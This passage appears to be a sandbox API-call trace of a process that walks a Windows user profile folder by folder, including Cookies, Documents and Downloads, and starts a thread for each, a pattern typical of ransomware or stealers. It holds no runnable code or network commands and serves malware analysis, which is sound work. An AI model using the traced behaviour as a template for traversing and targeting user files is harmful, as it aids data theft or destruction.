out: lpThreadId=0x0) returned 0x50c [0085.915] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0085.915] wcscmp (_String1="Contacts", _String2=".") returned 1 [0085.915] wcscmp (_String1="Contacts", _String2="..") returned 1 [0085.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858850 [0085.915] wcscpy (in: _Dest=0x1b858850, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.915] wcscat (in: _Dest=0x1b858850, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.915] wcscat (in: _Dest=0x1b858850, _Source="Contacts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" [0085.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0085.915] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0085.915] wcscmp (_String1="Cookies", _String2=".") returned 1 [0085.915] wcscmp (_String1="Cookies", _String2="..") returned 1 [0085.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b8588b0 [0085.916] wcscpy (in: _Dest=0x1b8588b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.916] wcscat (in: _Dest=0x1b8588b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.916] wcscat (in: _Dest=0x1b8588b0, _Source="Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0085.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8588b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0085.916] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcced84e0, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xcced84e0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0085.916] wcscmp (_String1="Desktop", _String2=".") returned 1 [0085.916] wcscmp (_String1="Desktop", _String2="..") returned 1 [0085.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b858910 [0085.916] wcscpy (in: _Dest=0x1b858910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.916] wcscat (in: _Dest=0x1b858910, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.916] wcscat (in: _Dest=0x1b858910, _Source="Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0085.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0085.917] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9a06680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9a06680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0085.917] wcscmp (_String1="Documents", _String2=".") returned 1 [0085.917] wcscmp (_String1="Documents", _String2="..") returned 1 [0085.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858970 [0085.917] wcscpy (in: _Dest=0x1b858970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.917] wcscat (in: _Dest=0x1b858970, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.917] wcscat (in: _Dest=0x1b858970, _Source="Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0085.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0085.918] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0085.918] wcscmp (_String1="Downloads", _String2=".") returned 1 [0085.918] wcscmp (_String1="Downloads", _String2="..") returned 1 [0085.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b8589d0 [0085.918] wcscpy (in: _Dest=0x1b8589d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.918] wcscat (in: _Dest=0x1b8589d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.918] wcscat (in: _Dest=0x1b8589d0, _Source="Downloads" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0085.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8589d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0085.918] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0085.918] wcscmp (_String1="Favorites", _String2=".") returned 1 [0085.918] wcscmp (_String1="Favorites", _String2="..") returned 1 [0085.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858a30 [0085.919] wcscpy (in: _Dest=0x1b858a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.919] wcscat (in: _Dest=0x1b858a30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.919] wcscat (in: _Dest=0x1b858a30, _Source="Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0085.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0085.919] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0085.919] wcscmp (_String1="Links", _String2=".") returned 1 [0085.919] wcscmp (_String1="Links", _String2="..") returned 1 [0085.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bef0 [0085.920] wcscpy (in: _Dest=0x1b82bef0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.920] wcscat (in: _Dest=0x1b82bef0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.920] wcscat (in: _Dest=0x1b82bef0, _Source="Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0085.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0085.920] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0085.920] wcscmp (_String1="Local Settings", _String2=".") returned 1 [0085.920] wcscmp (_String1="Local Settings", _String2="..") returned 1 [0085.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c21a0 [0085.920] wcscpy (in: _Dest=0x1b7c21a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.920] wcscat (in: _Dest=0x1b7c21a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.920] wcscat (in: _Dest=0x1b7c21a0, _Source="Local Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0085.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c21a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0085.927] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9aeaec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9aeaec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0085.927] wcscmp (_String1="Music", _String2=".") returned 1 [0085.927] wcscmp (_String1="Music", _String2="..") returned 1 [0085.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c300 [0085.927] wcscpy (in: _Dest=0x1b82c300, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.927] wcscat (in: _Dest=0x1b82c300, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.927] wcscat (in: _Dest=0x1b82c300, _Source="Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0085.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0085.928] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0085.928] wcscmp (_String1="My Documents", _String2=".") returned 1 [0085.928] wcscmp (_String1="My Documents", _String2="..") returned 1 [0085.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b858a90 [0085.928] wcscpy (in: _Dest=0x1b858a90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.928] wcscat (in: _Dest=0x1b858a90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.928] wcscat (in: _Dest=0x1b858a90, _Source="My Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" [0085.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0085.929] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0085.929] wcscmp (_String1="NetHood", _String2=".") returned 1 [0085.929] wcscmp (_String1="NetHood", _String2="..") returned 1 [0085.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b858af0 [0085.929] wcscpy (in: _Dest=0x1b858af0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.929] wcscat (in: _Dest=0x1b858af0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.929] wcscat (in: _Dest=0x1b858af0, _Source="NetHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" [0085.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x8f3afd80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8f3afd80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT", _String2=".") returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT", _String2="..") returned 1 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x8f389c20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0085.930] wcscmp (_String1="ntuser.dat.LOG1", _String2=".") returned 1 [0085.930] wcscmp (_String1="ntuser.dat.LOG1", _String2="..") returned 1 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0085.930] wcscmp (_String1="ntuser.dat.LOG2", _String2=".") returned 1 [0085.930] wcscmp (_String1="ntuser.dat.LOG2", _String2="..") returned 1 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2=".") returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", _String2="..") returned 1 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2=".") returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", _String2="..") returned 1 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2=".") returned 1 [0085.930] wcscmp (_String1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", _String2="..") returned 1 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0085.930] wcscmp (_String1="ntuser.ini", _String2=".") returned 1 [0085.930] wcscmp (_String1="ntuser.ini", _String2="..") returned 1 [0085.930] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9e0aba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9e0aba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0085.930] wcscmp (_String1="Pictures", _String2=".") returned 1 [0085.930] wcscmp (_String1="Pictures", _String2="..") returned 1 [0085.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858b50 [0085.930] wcscpy (in: _Dest=0x1b858b50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.930] wcscat (in: _Dest=0x1b858b50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.930] wcscat (in: _Dest=0x1b858b50, _Source="Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0085.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0085.931] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0085.931] wcscmp (_String1="PrintHood", _String2=".") returned 1 [0085.931] wcscmp (_String1="PrintHood", _String2="..") returned 1 [0085.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858bb0 [0085.931] wcscpy (in: _Dest=0x1b858bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.931] wcscat (in: _Dest=0x1b858bb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.931] wcscat (in: _Dest=0x1b858bb0, _Source="PrintHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0085.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, 